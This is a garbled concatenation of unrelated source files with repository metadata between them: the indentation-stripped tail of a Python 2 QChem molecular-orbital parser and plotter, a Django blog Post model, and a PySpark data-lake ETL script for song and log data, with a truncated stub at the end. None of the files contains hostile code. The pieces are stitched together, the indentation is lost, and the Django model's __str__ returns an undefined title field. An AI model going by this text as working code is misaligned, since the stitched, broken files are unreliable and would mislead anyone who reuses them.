# tags to get MO energies
tag_MO="YES" # YES, DONE, FINISH MO ene
flag_MO="OFF"
f_homo_i_line=[] # one or two(beta_tag) values of index of homo line
f_line_ene_a=[] # for job=optimization, whenever find new keyword, empty
f_line_ene_b=[]
fL_line_ene=[]
fL_homo_id=[]
nbasis=0
All_atoms=[]
# tags to get MO coefficients
if L_mo_coeff:
tag_moc="YES"
else:
tag_moc="NO"
flag_moc="OFF"
flag_moc_beta="OFF"
temp_atom_name='Z' # not atom id such as Ni, Ni-1, Ni-2...
imoc=0
imoc_block=0
imo_tmp=0 # mo-id starts from 1 in MO Coefficient Block
fl_QCIMO=[] # fl_QCIMO=[class list] <- fl_QCIMO=dict{[imo=class QC_IMO]}
# tags for nbo
tag_nbo="YES"
flag_nbo="NO"
flag_bd="NO"
fl_ene_sel_ab=[]
fl_imo_sel_ab=[]
fl_bcdic_sel_ab=[]
fl_ene_select=[]
fl_imo_select=[]
fl_bcdic_select=[]
f_ene_dic={}
f_ene_dic_beta={}
f_dic_ab_list=[]
f_norbital_ab=[]
disp_MOids=[]
ibd=0
ibd_atom=0
nb_line=[]
mo_ene_tmp=-100
imoc_valuable=[]
# read one file for analysis & write tmp_file.txt
inf=open(file, 'r')
lfile = re.split('\.', file)
tmp0 = 'tmp0-' +lfile[0]+'.log'
tmp1 = 'tmp1-' +lfile[0]+'.log'
if fid == 2:
fname_link = lfile[0] # save to write link pair
i=0
ib_eline=0 # beta ene line index
### Read 1 File
###############
while 1:
line=inf.readline()
i += 1
if not line: break # end of while-loop, one file
### Find nbasis for MO Coefficient in advance
if L_mo_coeff and nbasis==0:
if re.search(KW_nbasis, line) and re.search("shells", line):
field=re.split("\s+", line)
field=[x for x in field if x]
nbasis=float(field[5])
#print "found num of basis: ", nbasis
### BLOCK 1 :: MO energy block
### if-MO block
if flag_MO == "OFF" and tag_MO == "YES":
### Find MO block & initialize (first "occupied" is for Alpha spin)
if re.search(KW_MOene_occ, line):
print "### ", Fl_qchem_outf[fid], "#########################################"
print "### BLOCK 1 :: QChem MO energy"
flag_MO="ON"
Fl_beta_tag.append(0) # beta option is initiated
### initiate all the variables used in this block
i_ene_line=0 # energy line index starts from 0
tag_beta="NO"
flag_vline="NO" # now occupied orbital
continue
#### inside MO Block
elif flag_MO == "ON" and tag_MO == "YES":
### if options except energies, find keyword in reverse order
### 1. find end block line: if arrived the END line of MO energy
if re.search(KW_MOene_end, line):
tag_MO="Done" # escape MO block
continue
#### 2. skip non-ene line (symmetry lines: watch out B|Beta)
elif re.search("A", line) or (re.search("B", line) and not re.search("Beta", line)):
continue
#### 3. find Virtual line
elif re.search(KW_MOene_vir, line):
flag_vline="YES" # Virtual orbital energies
# for H atom (one electron - no beta occ)
if Fl_beta_tag[fid] == 1:
if not f_line_ene_b:
print f_line_ene_b, "is false"
iline_homo=-1
f_homo_i_line.append(iline_homo) # twiced if beta_tag, iline_homo is assigend below
print "f_homo_i_line ", f_homo_i_line
continue
#### in case of Beta, there is blank line, how to treat BLANK
#### 4. find blank for beta
elif not line.strip():
flag_vline="NO" # virtual energy ended and prepare for beta
continue
#### 5. find BETA
elif re.search(KW_MOene_beta, line):
tag_beta="YES"
Fl_beta_tag[fid]=1 # BETA, unrestricted calculation is corrected here
i_ene_line=0 # reset energy line index, it starts from 0
continue
### 6. find "Occupied" again for beta
elif re.search(KW_MOene_occ, line):
continue
#### save energy line if skipped all the previous if condition
else:
if tag_beta == "YES":
### if beta is detected but is the same as alpha, igmore for bent CO2 in 1-PP-B
if ib_eline == 0:
print "check beta line", line.rstrip, f_line_ene_a[ib_eline]
if line.rstrip() == f_line_ene_a[ib_eline]:
print "Beta spin is detected but same as Alpha spin"
Fl_beta_tag[fid]=0
tag_MO="Done"
continue
f_line_ene_b.append(line.rstrip())
if flag_vline != "YES":
iline_homo=i_ene_line
ib_eline+=1
else:
f_line_ene_a.append(line.rstrip())
if flag_vline != "YES":
iline_homo=i_ene_line
i_ene_line += 1
continue
### if-MO block
### Wrap up MO Block
elif tag_MO == 'Done':
"""
f_line_ene_a=[l1, l2...]
fL_line_ene =[[Alpha:l1, l2,...],[Beta:l1, l2,...]]
FL_homo_ene =[[f1:[A-homo, B-homo],[f2:...
Fl_homo_ene =[f1-homo, f2-homo,...]
FL_homo_id =...
"""
tag_MO = 'Finish'
fL_line_ene.append(f_line_ene_a)
if Fl_beta_tag[fid] == 1:
fL_line_ene.append(f_line_ene_b)
fL_ene_ab,f_homo_ab,f_homo_id_ab=f_extract_ene(f_homo_i_line, fL_line_ene)
FL_homo_ene.append(f_homo_ab)
print FL_homo_ene
if Fl_beta_tag[fid] == 1:
Fl_homo_ene.append( max(FL_homo_ene[fid][0], FL_homo_ene[fid][1]) )
else:
Fl_homo_ene.append( FL_homo_ene[fid][0])
FL_homo_id.append(f_homo_id_ab)
FL_MOene_list.append(fL_ene_ab)
f_norbital_ab.append(len(fL_ene_ab[0]))
if Fl_beta_tag[fid] == 1:
f_norbital_ab.append(len(fL_ene_ab[1]))
FL_norbital.append(f_norbital_ab)
continue
#while(realline file)
### BLOCK 2 :: MO Coeff ########################################
### ene & index are obtained here
### find key_word_MOcoeff and initialize
if flag_moc == "OFF" and tag_moc=="YES" :
if re.search(KW_MOcoeff, line) : #common for alpha & beta
flag_moc="ON"
moc_block=[]
#### constants from module mplot_ini
max_nlumo = Nmax_virtual
Fl_nlumo.append(max_nlumo)
#### obtain atoms for MO and mol types in QChem outfile
if atomlists:
fl_mo_atoms_id=atomlists[fid].split()
atom_style='name'
for atomid in fl_mo_atoms_id:
if re.search('\d', atomid):
atom_style='index'
if atom_style=='name':
fl_mo_atoms=fl_mo_atoms_id[:]
Fl_MO_atoms.append(fl_mo_atoms)
Fl_MO_atoms_id.append(fl_mo_atoms)
### USE index
elif atom_style=='index':
latom_name, latom_index,atom_species= atom_decompose(fl_mo_atoms_id)
fl_mo_atoms=latom_name[:]
#fl_mo_atoms=atom_species[:]
Fl_MO_atoms.append(fl_mo_atoms)
Fl_MO_atoms_id.append(fl_mo_atoms_id)
#Fl_MO_atoms.append(atom_species)
if motypes:
f_mo_type=motypes[fid]
else:
f_mo_type=get_atom2motype(Fl_MO_atoms[fid])
Fl_MO_types.append(f_mo_type) #Fl_MO_type[:]
print fl_mo_atoms_id, Fl_MO_atoms_id, f_mo_type, Fl_MO_types, "in", whereami()
#Fl_MO_atoms, Fl_MO_type = get_mo_labels(files, atoms, i_mo_types)
#Fl_nlumo, MO_link_hl_id = get_nlumo_linkid(nfile)
#print fl_mo_atoms, f_mo_type, Fl_nlumo, MO_link_hl_id
### use common homo index for a|b
fL_homo_id=FL_homo_id[fid] # list of one|two elements
f_homo_a = FL_homo_id[fid][0] # Alpha has always large value
f_lumo_id_cut=f_homo_a+max_nlumo
#lumo_id_cut=f_homo_id+Fl_nlumo[fid]
if f_norbital_ab < f_lumo_id_cut:
f_lumo_id_cut = f_norbital_ab
print "HOMO id & Virtual Orbital cut id ", fL_homo_id, f_lumo_id_cut
if flag_moc_beta == "ON":
f_homo_id=FL_homo_id[fid][1]
print "################### BLOCK 2 :: MO Coeff beta starts "
imoc=0
imoc_block=0
imo_tmp=0 # mo-id starts from 1 in MO Coefficient Block
mo_ene_tmp=-100
imoc_valuable=[]
fl_imo_sel_ab=[]
fl_ene_sel_ab=[]
else:
print "################### BLOCK 2 :: MO Coeff starts "
print Fl_qchem_outf[fid], ":: MO Levels"
continue
### Inside MOC PART
elif flag_moc == "ON" and tag_moc=="YES":
#### if end of MO Coefficients
if not line.strip():
if Fl_beta_tag[fid]==0:
print "End of MOC of alpha"
continue
#### First MOC-block line: save MO id
if imoc==0:
imo=line.split()
if imoc_block == 0:
Nene_mocline=len(imo)
if V_print_moc >=2: print "imoc==0; n_ele_col=", Nene_mocline, line
imoc+=1
continue
#### save energy
elif imoc==1:
imo_ene=line.split()
imo_ene.pop(0) # first column is "eigen values"
if V_print_moc >= 2: print imo_ene
imoc+=1
continue
###### analyze ONE MOC line for one basis in MOC_BLOCK
elif imoc <= 1+nbasis: # nbasis can be got in the first part before MO block
# moc_line_analysis(line, Nene_mocline, temp_atom_name)
lmoc_line=line.split()
if V_print_moc >=2: print lmoc_line
ncol = len(lmoc_line)
ind = ncol - Nene_mocline
lcoeff = lmoc_line[ind:]
l_symbol = lmoc_line[0:ind]
ibasis = l_symbol.pop(0)
#print l_symbol, whereami()
### make atom id
atom_name, id_atom, id_basis = make_atom_basis_id(l_symbol)
if not id_atom in All_atoms:
All_atoms.append(id_atom)
#if V_print_moc >= 1: print ibasis, l_symbol, lcoeff, atom_name, id_atom
#### Each MOC line is decomposed to maximum Nene_mocline==6 basis-ene-coeff data
for j in range(Nene_mocline):
mo_symbol=[]
moc_tmp=[]
#### FILTER 1: 6 data of MOC line filtered by MOcoeff_crit
if abs(float(lcoeff[j])) > MOcoeff_crit:
mo_symbol.extend((id_atom, id_basis))
moc_tmp.extend((mo_symbol,imo[j],imo_ene[j],lcoeff[j]))
moc_block.append(moc_tmp) # moc_block contains required data type for 1 MOC block ( Nene_mocline*nbasis maximum)
#print(np.matrix(moc_block))
####### Treat one MOC block (6 mo_id) and INITIALIZE variables again
if imoc == 1+nbasis:
### for first MOC block, calculate core
if imoc_block == 0:
all_atom_count = All_atom_count(All_atoms)
ncore = Cal_Ncore(all_atom_count)
### initialize moc variable for new block
imoc=0
imoc_block+=1
#### treat block of MOC here
#### new style: [['Ni4', 'd4'], '100', '-0.016', '0.19560']
#### FORMAT of moc_block: [[atom_id,basis_name], mo_id, mo_ene, mo_coeff
#### SORTED by mo_id
sorted_moc_block=sorted(moc_block, key=lambda x:float(x[1]))
if V_print_moc >=2:
for x in sorted_moc_block:
print x
#### scan sorted MOC block: by one line - format
if V_print_moc >= 2: print "Loop to sorted MOC line"
for eff_coeff in sorted_moc_block: # to the end
### FILTER 2 skip core orbital based on atom species in lmoc_line[1]: follow QChem basis
if int(eff_coeff[1]) <= ncore: # NCORE is treated here
continue
### FILTER 3: cut lines using FL_nlumo[0]
elif int(eff_coeff[1]) > f_lumo_id_cut:
#### dump lastly MO Coefficient before break
if V_print_log >=1: print "last: ", fl_imo_sel_ab
imo_select,bas_co_dic=f_imo_basis(imoc_valuable, Fl_MO_atoms_id[fid], Fl_MO_types[fid],imo_tmp)
#imo_select=f_imo_dump(imoc_valuable, Fl_MO_atoms[fid], Fl_MO_types[fid],imo_tmp)
if imo_select:
fl_imo_sel_ab.append(imo_tmp)
fl_ene_sel_ab.append(mo_ene_tmp)
a = QC_IMO(imo_tmp, mo_ene_tmp, base_coeff_dict)
fl_QCIMO.append(a)
Fl_QCIMO.append(fl_QCIMO)
#### save imo & ene for alpha or beta
fl_imo_select.append(fl_imo_sel_ab)
fl_ene_select.append(fl_ene_sel_ab)
fl_bcdic_select.append(fl_ene_sel_ab)
### Finalize MOC
#print fl_imo_select[0]
if Fl_beta_tag[fid]==0:
print "Cut by nlumo"
tag_moc="Done"
elif Fl_beta_tag[fid]==1 and flag_moc_beta=="ON":
tag_moc="Done"
#### run beta again
elif Fl_beta_tag[fid]==1 and flag_moc_beta=="OFF":
flag_moc_beta="ON"
flag_moc="OFF" # find KW for beta
#### FINISH MO Coeff selection
break
if tag_moc=="Done":
continue
######## DUMP for selected atom line in selected 6 mo-id's ##########
####### FILTER 4 :: cut by atom species and ID here
#### f_imo_dump() :: decision for dumping the imo-block
#### eff_coeff== [['Ni4', 'd4'], '100', '-0.016', '0.19560']
#### 'pass' writes the line in dump string of str_dump
#### 'continue' skips the line before writing in str_dump
if Fl_MO_types[fid] == 'ALL':
pass
elif Fl_MO_types[fid] == "ONE":
if eff_coeff[0][0] == Fl_MO_atoms_id[fid][0]:
if V_print_filter >= 2: print eff_coeff[0][0], Fl_MO_atoms_id[fid][0], "in filter 4"
pass
else:
continue
#### 'ALL' and '1sub' works the same but different in f_imo_dump()
#### more detail screening difference between 'ALL' and '1sub', refer to f_imo_dump
#### for more options for atom id w. index
elif (re.search("sel",Fl_MO_types[fid],re.IGNORECASE) or re.search("sub",Fl_MO_types[fid], re.IGNORECASE)):
if eff_coeff[0][0] in Fl_MO_atoms_id[fid]:
pass
else:
continue
else:
print "Error:: there is no atom type in", whereami()
exit(11)
#print eff_coeff
imo=int(eff_coeff[1])
mo_ene=eff_coeff[2]
#### if index MO is the same, save for write
if imo == imo_tmp:
if float(eff_coeff[3]) < 0:
dump_str=" "+s.join(eff_coeff[0])+"\t "+eff_coeff[3]
else:
dump_str=" "+s.join(eff_coeff[0])+"\t "+eff_coeff[3]
#print imo, dump_str
imoc_valuable.append(dump_str)
### Treat each imo block in sorted MOC block (6 imo block)
### if index MO is changed, dump the previous imo and initialize for the next imo
else:
#### dump for one-imo, the previous saved moc's
#### FILTER 5 :: the imo-block will be dumped?
#### imo_select returns 1 for save for plot or 0 for skip
#imo_select,mbasis_dic=f_imo_basis(imoc_valuable, Fl_MO_atoms[fid], Fl_MO_types[fid], imo_tmp)
imo_select, base_coeff_dict=f_imo_basis(imoc_valuable, Fl_MO_atoms_id[fid], Fl_MO_types[fid], imo_tmp)
#imo_select=f_imo_dump(imoc_valuable, Fl_MO_atoms_id[fid], Fl_MO_types[fid], imo_tmp)
#### RECORD if valuable
if imo_select:
fl_imo_sel_ab.append(imo_tmp)
fl_ene_sel_ab.append(mo_ene_tmp)
a = QC_IMO(imo_tmp, mo_ene_tmp, base_coeff_dict)
fl_QCIMO.append(a)
#print fl_imo_sel_ab
#### START of NEW IMO :: initialize for next imoc block
imoc_valuable=[]
imo_tmp=imo
mo_ene_tmp=float(mo_ene)
#### START of new IMOsave writing in advance for the next lists of imo_basis
dump_str=" MO level "+ str(imo) + " "+mo_ene
imoc_valuable.append(dump_str)
atom_basis=s.join(eff_coeff[0])
if float(eff_coeff[3]) < 0:
dump_str=" "+ atom_basis +"\t "+eff_coeff[3]
else:
dump_str=" "+ atom_basis +"\t "+eff_coeff[3]
imoc_valuable.append(dump_str)
### for link: basis control - basis can be repeated
#a = QC_IMO(imo_tmp, atom_basis, mo_ene_tmp)
#### end of MO coeff one block
moc_block=[]
continue
#### have read one block of nbasis lines == MOC block
imoc+=1
continue
# while
##### BLOCK 3 :: NBO BonDing extraction #################
if L_NBO_analysis == 1:
if nfile==3 and fid == 1: #### As for complex molecule
if flag_nbo == "NO" and tag_nbo == "YES":
if re.search(KW_nbo, line):
flag_nbo = "YES"
print "############# NBO Analysis ##########"
continue
#### found NBO and the next line is "---------------------------------"
elif flag_nbo == "YES" and tag_nbo == "YES":
if flag_bd=="NO":
#### Only Ni is checked
#if re.search(KW_nbo_BD, line) and re.search('Ni', line):
if re.search(KW_nbo_BD, line) and (re.search('Ni', line) or re.search('O', line)):
flag_bd="YES"
bd_line=re.split("[\s\(\)-]+", line)
bd_line=[x for x in bd_line if x]
print bd_line[0], bd_line[1], bd_line[2], bd_line[3], bd_line[4], bd_line[5], bd_line[6], bd_line[7]
nb_line.append(nbo_BD_nline_atoms[nbo_atoms.index(bd_line[4])])
nb_line.append(nbo_BD_nline_atoms[nbo_atoms.index(bd_line[6])])
#print nb_line
ibd += 1
elif re.search(KW_nbo_end, line):
tag_nbo = "Done"
else:
pass
continue
### in the NBO-BD block, write
else:
if ibd == 1:
#print line
a=line[15:24]
b=line[27:33]
c=line[34:36]
d=line[40:41]
e=line[41:50]
f=line[50:51]
g=line[56:65]
if len(line) > 70:
h=line[65:66]
hh=line[71:80]
print "\t", a, b, c, d, e, f, g, h, hh
else:
print "\t", a, b, c, d, e, f, g
#print line
ibd+=1
continue
if ibd < nb_line[ibd_atom]+1:
ibd+=1
continue
else:
if ibd_atom==0:
ibd=1 #### to read second atom part
ibd_atom+=1
continue
else:
ibd=0
ibd_atom=0
nb_line=[]
flag_bd="NO"
continue
# func
# for file
# while
# end of read 1 file
inf.close()
######## FILTER 5: retailing plot list in each file
#### cut lower energy limit for drawing in figure
#### make dictionary for each file
#### change into all levels
print "#### End of file (close file):: Filter 5 #######"
if not atomlists :
not_digit=[]
i_lumo_cut= min(f_norbital_ab[0], FL_homo_id[fid][0]+Nmax_virtual)
i_homo_cut= max(1,FL_homo_id[fid][0]-Nmax_occupy)
print "draw all level :", i_homo_cut, i_lumo_cut
if V_print == 1: print fL_ene_ab
for ab_line1d in fL_ene_ab: # or FL_homo_id[fid]
tmp_list=[]
tmp_elist=[]
j=1
for ene in ab_line1d:
if re.search("\*", ene):
pass
# select using index
elif i_homo_cut <= j and j <= i_lumo_cut:
#print ene
tmp_elist.append(float(ene))
tmp_list.append(j)
j+=1
fl_ene_select.append(tmp_elist[:])
fl_imo_select.append(tmp_list[:])
if V_print >= 3:
print "After imo selection, make dictionary: ", fl_imo_select
print fl_ene_select
print "<Plot MO levels of ", Fl_qchem_outf[fid], ">"
print " MO_level_ID Energy"
for imo, moe in zip(fl_imo_select[0],fl_ene_select[0]) :
#i_imo=imo
#f_mo=moe
print "%11d %8.3f" % (imo, moe)
f_ene_dic[imo]=moe
f_dic_ab_list.append(f_ene_dic)
if Fl_beta_tag[fid] == 1:
#### change key for alpha, beta mo-id
print fl_imo_select[1]
print fl_ene_select[1], len(fl_ene_select[1])
for imo, moe in zip(fl_imo_select[1],fl_ene_select[1]) :
i_imo=imo
f_mo=moe
print i_imo, moe
f_ene_dic_beta[i_imo]=f_mo
f_dic_ab_list.append(f_ene_dic_beta)
#print f_dic_ab_list
#### code for beta is developed up to here
#print f_ene_dic
FL_MOid_select.append(fl_imo_select[0])
FL_MOene_select.append(fl_ene_select[0])
FL_MObcdic_select.append(fl_bcdic_select[0])
FL_sMO_dic.append(f_ene_dic)
FL_abMO_dic_list.append(f_dic_ab_list)
fid += 1
######################################################
###### end of reading all the files
print "############################################"
print "############### Result #####################"
print " Filename [HOMO_energy] [ID] beta_tag motype linktype"
for i in range(nfile):
print " %-15s" % Fl_qchem_outf[i],
print FL_homo_ene[i],
print " ", FL_homo_id[i],
print "%4d" % Fl_beta_tag[i],
print "%8s" % motypes[i],
if i > 0:
print "%8s" % link_types[i-1]
print "" # for new line
################# Block 5 ::PLOT using MPL ###########
#str="--------"
"""
MO_link_id=(94,99)
for left-side link for right-side link
1st-mol 2nd-mol 2nd-mol 3rd-mol
MOlink_hl_id=[[[ 0 ,0 ],[0 , 1]], [[0, 1],[ 1, 1]]]
We need y-val y-val y-val y-val
"""
print "##### Block5: Final MO energies for mpl plot:: "
MOlink_hl_id=[[[ 0 ,0 ],[1 , 1]]]
"""
Link is only working for non-degenerate MOs
"""
MO_link_hl_ene=[]
######## Make MO-link pair
######## how to obtain link pair
#### To use mpl-plot, it needs energies for y-axis, not id
if L_link:
#if 'MOlink_hl_id' not in locals():
print "############ Link Plot #####################"
### test for syntex
if V_print_link >= 2:
for fl_lclass in Fl_QCIMO: # get 1 file
for qc_class in fl_lclass: # jmo, qc
attrs = vars(qc_class) # class:: QC_IMO
print ', '.join("%s: %s" % item for item in attrs.items())
### LOOP for nfile-1 links
for i in range(nfile-1):
#iside_link=0 # 0 for between 0th and 1st files
ihomo_f0=FL_homo_id[i][0] # f0 for left file, f1 for right,
ihomo_f1=FL_homo_id[i+1][0] # due to alpha, beta
#### here obtain link pair
print "Link ID in %d-th interval:: " % (i+1)
#### find MO id using homo-id
#### obtain link pair here
link_y=[] # make link pair
if L_lfile:
fl_molink_hl_id = fread_pair_list(link_file)
else:
if link_types[i] == 'flow':
fl_molink_hl_id=get_link(Fl_QCIMO[i],ihomo_f0,Fl_QCIMO[i+1],ihomo_f1,'flow', nlink, atom_groups)
### left mo is reactant
elif link_types[i] == 'lsplit':
fl_molink_hl_id=get_link(Fl_QCIMO[i],ihomo_f0,Fl_QCIMO[i+1],ihomo_f1,'lsplit',nlink,atomlists)
elif link_types[i] == 'rsplit':
fl_molink_hl_id=get_link(Fl_QCIMO[i],ihomo_f0,Fl_QCIMO[i+1],ihomo_f1,'split', nlink, atom_groups)
### write MO Link pair to repair and reuse it
fprint_pair_list("link_id.dat", fl_molink_hl_id)
# f.write fl_molink_hl_id
for l_pair in fl_molink_hl_id:
print l_pair,
key_f0=ihomo_f0+l_pair[0]
key_f1=ihomo_f1+l_pair[1]
if key_f0 not in FL_sMO_dic[i]:
print "Link dictionary error:: exit(44)"
print "use option L=0"
exit(44)
if key_f1 not in FL_sMO_dic[i+1]:
print key_f2, FL_sMO_dic[i+1]
print "Link dictionary error:: exit(45)"
print "use option L=0"
exit(45)
l_ene1=FL_sMO_dic[i][key_f0]
l_ene2=FL_sMO_dic[i+1][key_f1]
link_ene=[l_ene1, l_ene2]
link_y.append(link_ene)
print " "
MO_link_hl_ene.append(link_y)
#print link_y
#### 3D list, draw with x-coord's
if V_print_link >= 0:
print "Link energy:: "
print MO_link_hl_ene
"""
type ab_draw(int, int, int, int, hash(int, float), float)
sub function:
"""
fid=0
#### There might be alpha, beta two dictionaries for one file
for f_abMO_dic in FL_abMO_dic_list:
#### draw one or two dictionary
beta_tag=Fl_beta_tag[fid]
if beta_tag==0:
# number of files, file id, beta?, alpha or beta, dic[a or b], homo(a or b)
mplt_ab_draw(nfile, fid, beta_tag, 0, f_abMO_dic[0], float(FL_homo_ene[fid][0]))
else: # 0 for alpha, 1 for beta
mplt_ab_draw(nfile, fid, beta_tag, 0, f_abMO_dic[0], float(FL_homo_ene[fid][0]))
mplt_ab_draw(nfile, fid, beta_tag, 1, f_abMO_dic[1], float(FL_homo_ene[fid][1]))
print f_abMO_dic[0], float(FL_homo_ene[fid][0])
print f_abMO_dic[1], float(FL_homo_ene[fid][1])
fid+=1
#### draw MPL link line
if L_link:
print "Draw Link in ", os.path.basename(__file__)
#### for each range in MO_link_hl_ene
for n in range(nfile-1):
nth_links=MO_link_hl_ene[n]
x=Xrange_nf(nfile, n, 0, 0, 1)
xl=x[1] # 1=right side of 0-th file is left-link
x=Xrange_nf(nfile, n+1, 0, 0, 1)
xr=x[0] # 0=left side of 1-th file is right-link
x_link=[xl, xr]
for ene_pair in nth_links:
mplt_line_link(x_link, ene_pair)
plt.show()
print "normal stop"
def main():
parser = argparse.ArgumentParser(description="to analyize QChem outfile and draw MO levels with several files")
parser.add_argument("-f", "--outfiles", nargs="+", help="more than 1 out files")
#parser.add_argument("-co", "--mocoeff", action='store_true', help="do coeff analysis")
parser.add_argument("-ag", "--atomgroup", nargs='*', help="atom list of 2 groups for mo and link")
parser.add_argument("-a", "--atomlists", nargs='*', help="atom lists with id for all files")
parser.add_argument("-t", "--motypes", nargs='*', choices=['ALL','SEL','SUB','OR','AND','AND2'], help="types how to combine the selected atoms also in mp_file_anal.py")
parser.add_argument("-bt", "--basetype", nargs='*', help="add atom basis")
#parser.add_argument("-l", "--link", action='store_true', help="make links for multiple files")
parser.add_argument("-l", "--linktypes", nargs='+', choices=['flow', 'lsplit', 'rsplit'], help="for the same molecule (flow) and combination with other molecule (split)")
parser.add_argument("-lf", "--linkfile", help="read file rather than calculate link")
parser.add_argument("-sg", "--splitgroup", nargs="+", help="divide atom groups into two group for split link")
parser.add_argument("-u", "--usage", action='store_true', help="display usage")
args=parser.parse_args()
if args.usage:
print " 1 file usage:: %s -f 1-PP-A.out -a \"Ni\" -t SEL" % (os.path.basename(__file__))
print " 2 file usage split:: %s -f 1-PP-A.out 1-PP.out -a \"Ni\" \"Ni C1 O1 O2\" -t SEL SUB -l lsplit" % (os.path.basename(__file__))
exit(0)
print args.atomlists
analyze_files(args.outfiles, args.atomlists, args. atomgroup, args.motypes , args.basetype, args.linktypes, args.linkfile, args.splitgroup)
return(0)
if __name__ == "__main__":
main()
|
[
"joonho@rho.(none)"
] |
joonho@rho.(none)
|
183410bdfb8042262d93eed8ce4c30989f21da34
|
0767d180776a705cf05748fdd7b335b500cd4e99
|
/blog/models.py
|
21be179fe256272ccc4ddca41623d94d70f00ff8
|
[] |
no_license
|
IdaBela/my-first-blog
|
fd2bc37814c66431ee33d2d3a75601dc82ade853
|
c6828d4430f27272775fb26a6e286230d6db411e
|
refs/heads/master
| 2020-03-27T20:30:52.381745 | 2018-09-02T10:08:37 | 2018-09-02T10:08:37 | 147,074,405 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 515 |
py
|
from django.db import models
from django.utils import timezone
class Post(models.Model):
author = models.ForeignKey('auth.User', on_delete=models.CASCADE)
text = models.TextField()
image = models.ImageField()
created_date = models.DateTimeField(
default=timezone.now)
published_date = models.DateTimeField(
blank=True, null=True)
def publish(self):
self.published_date = timezone.now()
self.save()
def __str__(self):
return self.title
|
[
"ida.goetz@gmail.com"
] |
ida.goetz@gmail.com
|
a377dbfa8f26b7861de74c95d4613b8a82e4da11
|
ee664018fe21850a32f8cc3f6c70a2aa239c197e
|
/Project 4 - Data Lake/etl.py
|
6021d519e5052bfedca2dc2093506ba434ce5d03
|
[] |
no_license
|
Mgarcia-pajarel/DEND-Projects
|
3b7777b6e8d90bfe528614772c8433359978c8a7
|
cb79c63cd4326a0ccd2c9671db8856b693fc853d
|
refs/heads/master
| 2020-06-10T00:26:15.082462 | 2019-11-17T00:17:06 | 2019-11-17T00:17:06 | 193,535,227 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 5,655 |
py
|
import configparser
from datetime import datetime
import os
from pyspark.sql import SparkSession
from pyspark.sql.functions import udf, col
from pyspark.sql.functions import year, month, dayofmonth, hour, weekofyear, date_format, dayofweek
config = configparser.ConfigParser()
config.read('dl.cfg')
os.environ['AWS_ACCESS_KEY_ID']=config['AWS']['AWS_ACCESS_KEY_ID']
os.environ['AWS_SECRET_ACCESS_KEY']=config['AWS']['AWS_SECRET_ACCESS_KEY']
def create_spark_session():
spark = SparkSession \
.builder \
.config("spark.jars.packages", "org.apache.hadoop:hadoop-aws:2.7.0") \
.getOrCreate()
return spark
def process_song_data(spark, input_data, output_data):
"""
Description: This function is used to read the song data in the filepath (bucket/song_data)
to gather the song and artist information needed to populate and populate the songs and artists
dimensional tables.
Parameters:
spark: the cursor object.
input_path: path to bucket that contains song data.
output_path: path to destination bucket where the parquet files are saved.
Returns:
None
"""
print('Begin processing songs data')
# get filepath to song data file
song_data = input_data + 'song-data/*/*/*/*.json'
# read song data file
df = spark.read.json(song_data)
# extract columns to create songs table
songs_table = df.select(["song_id", "title", "artist_id", "duration", "year"]).dropDuplicates()
print('Save songs table')
# write songs table to parquet files partitioned by year and artist
songs_table.repartition("year", "artist_id").write.mode("append").partitionBy("year", "artist_id").parquet(output_data+'songs_table')
# extract columns to create artists table
artists_table = df.select(["artist_id", "artist_name", "artist_location", 'artist_latitude' ,'artist_longitude']).dropDuplicates()
print('Save artists table')
# write artists table to parquet files
artists_table.write.save(output_data+'artists_table', format='parquet', mode='append')
print('Completed')
def process_log_data(spark, input_data, output_data):
"""
Description: This function is used to read the log data in the
filepath (bucket/log_data) to get the information needed to populate the
dimensional tables (user, time and song) as well as the songplays fact table.
Parameters:
spark: the cursor object.
input_path: path to the bucket containing song data.
output_path: path to destination bucket where parquet files will be saved.
Returns:
None
"""
print('Begin processing log data')
# get filepath to log data file
# log_data = input_data + 'log-data/*/*/*.json'
log_data = input_data + 'log-data/*.json'
# read log data file
df = spark.read.json(log_data)
# filter by actions for song plays
df = df.filter(df.page == 'NextSong')
# extract columns for users table
users_table = df.select(["userId", "firstName", 'lastName', 'location', 'gender']).dropDuplicates()
print('Save users table')
# write users table to parquet files
users_table.write.save(output_data+'users_table', format='parquet', mode='append')
# create timestamp column from original timestamp column
get_timestamp = udf(lambda x: x / 1000.0 )
df = df.withColumn("timestamp", get_timestamp("ts"))
# create datetime column from original timestamp column
get_datetime = udf(lambda x: datetime.utcfromtimestamp(x).strftime('%Y-%m-%d %H:%M:%S'))
df = df.withColumn("date_sp", get_datetime("timestamp"))
# extract columns to create time table
time_table = df.withColumn("hour", hour(df.date_sp)) \
.withColumn("year", year(df.date_sp)) \
.withColumn("day", dayofmonth(df.date_sp)) \
.withColumn("week", weekofyear(df.date_sp)) \
.withColumn("month", month(df.date_sp)) \
.withColumn("weekday", dayofweek(df.date_sp)) \
.withColumnRenamed('ts', 'start_time') \
.select(['start_time', 'hour', 'day', 'week', 'month', 'year', 'weekday']) \
.dropDuplicates()
print('Save time table')
# write time table to parquet files partitioned by year and month
time_table.repartition("year", "month").write.mode("append").partitionBy("year", "month").parquet(output_data+'time_table')
# read in song data to use for songplays table
song_df = spark.read.json(input_data + 'song-data/*/*/*/*.json')
# extract columns from joined song and log datasets to create songplays table
songplays_table = df.join(song_df, [df.song == song_df.title, df.length == song_df.duration, df.artist == song_df.artist_name]) \
.select(df.ts, df.userId, df.level, song_df.song_id, song_df.artist_id, df.sessionId, df.location, df.userAgent, df.date_sp) \
.withColumn("year", year(df.date_sp)) \
.withColumn("month", month(df.date_sp))
print('Save songplays table - Fact Table')
# write songplays table to parquet files partitioned by year and month
songplays_table.repartition("year", "month").write.mode("append").partitionBy("year", "month").parquet(output_data+'songplays_table')
print('Completed.')
def main():
spark = create_spark_session()
# When using S3 or other storage replace input and output data locations appropriately
# input_data = "s3a://udacity-dend/"
input_data = "./data/"
output_data = "./temp/"
process_song_data(spark, input_data, output_data)
process_log_data(spark, input_data, output_data)
if __name__ == "__main__":
main()
|
[
"noreply@github.com"
] |
Mgarcia-pajarel.noreply@github.com
|
19cd0e98e9cd1c10d394a446b8a280ff343e4fa8
|
1316cd6763e784811c769c1de577235c921af0de
|
/Apps/BLMPlotter/__init__.py
|
484e11a8dd13e822572f7e6f93e0dceedc1617e3
|
[] |
no_license
|
VELA-CLARA-software/Software
|
a6fb6b848584e5893fd6939a447d23134ce636cc
|
2e2a88ac0b2b03a495c868d2e11e6481e05097c3
|
refs/heads/master
